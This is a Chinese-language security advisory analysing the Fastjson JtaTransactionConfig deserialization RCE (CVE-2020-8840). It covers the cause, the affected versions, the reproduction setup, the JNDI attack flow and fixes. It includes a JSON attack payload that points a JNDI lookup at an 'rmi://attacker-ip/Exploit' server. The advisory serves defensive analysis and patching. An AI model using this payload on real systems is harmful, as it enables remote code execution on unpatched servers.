Fastjson JtaTransactionConfig远程代码执行漏洞
字数 1544 2025-08-18 11:39:23
Fastjson JtaTransactionConfig远程代码执行漏洞分析报告
1. 漏洞概述
Fastjson是阿里巴巴开源的一个高性能Java JSON处理库,广泛应用于Java平台的JSON序列化和反序列化操作。2020年3月发现的JtaTransactionConfig远程代码执行漏洞(CVE-2020-8840)是一个高危漏洞,允许攻击者在特定条件下远程执行任意代码。
2. 漏洞原理
2.1 漏洞成因
该漏洞源于Fastjson在反序列化时对com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig类的处理存在缺陷,绕过了Fastjson的黑名单机制。当满足以下条件时,攻击者可利用此漏洞:
- 目标系统使用了受影响版本的Fastjson(≤1.2.66)
- 系统同时加载了ibatis-sqlmap依赖(版本2.3.4.726)
- Fastjson开启了autotype功能
2.2 技术细节
漏洞利用链如下:
- 攻击者构造恶意JSON数据,其中包含
@type字段指向JtaTransactionConfig类 - Fastjson解析时通过
checkAutoType方法检查类名,但该类不在黑名单中 - 解析过程中通过
setProperties方法为utxName变量赋值 - 当
utxName被赋值为攻击者控制的恶意地址时,系统会通过JNDI lookup功能加载远程恶意类 - 最终导致远程代码执行
3. 影响范围
3.1 受影响版本
- Fastjson ≤ 1.2.66
3.2 受影响组件
- 使用了ibatis-sqlmap依赖的系统(特别是版本2.3.4.726)
4. 漏洞复现
4.1 环境搭建
- 准备Fastjson 1.2.66
- 添加ibatis-sqlmap 2.3.4.726依赖
- 确保autotype功能开启(
ParserConfig.getGlobalInstance().setAutoTypeSupport(true))
4.2 攻击Payload示例
{
"@type": "com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig",
"properties": {
"@type": "java.util.Properties",
"UserTransaction": "rmi://attacker-ip/Exploit"
}
}
4.3 攻击流程
- 攻击者搭建恶意RMI/LDAP服务器
- 向目标系统发送精心构造的JSON数据
- 目标系统解析JSON时触发JNDI lookup
- 从攻击者服务器加载恶意类并执行
5. 漏洞分析
5.1 关键代码路径
JSON.parse()- 解析入口JSONObject类 - 格式解析和特殊字符检测checkAutoType方法 - 类名黑名单检查JSONScanner类 - 字段名匹配和参数值传递JtaTransactionConfig.setProperties()- 关键赋值点
5.2 绕过机制
该漏洞成功绕过了Fastjson的黑名单机制,因为:
JtaTransactionConfig类不在Fastjson默认黑名单中- 通过Properties对象间接控制JNDI查找
6. 修复建议
6.1 官方修复方案
- 升级Fastjson到1.2.67及以上版本
- Fastjson官方在后续版本中增强了黑名单机制
6.2 临时缓解措施
-
关闭autotype功能(默认已关闭):
// 删除或注释掉以下代码 ParserConfig.getGlobalInstance().setAutoTypeSupport(true); -
添加自定义黑名单:
ParserConfig.getGlobalInstance().addDeny("com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig"); -
移除不必要的ibatis-sqlmap依赖
7. 时间线
- 2020/3/3:深信服千里目安全实验室发现并验证漏洞
- 2020/3/4:漏洞分析文章发布
8. 参考链接
- Fastjson GitHub
- 官方安全公告(请参考Fastjson官方发布的安全公告)
注意:此漏洞利用需要特定环境配置,但一旦满足条件危害极大。建议所有使用Fastjson的项目立即检查版本并采取相应防护措施。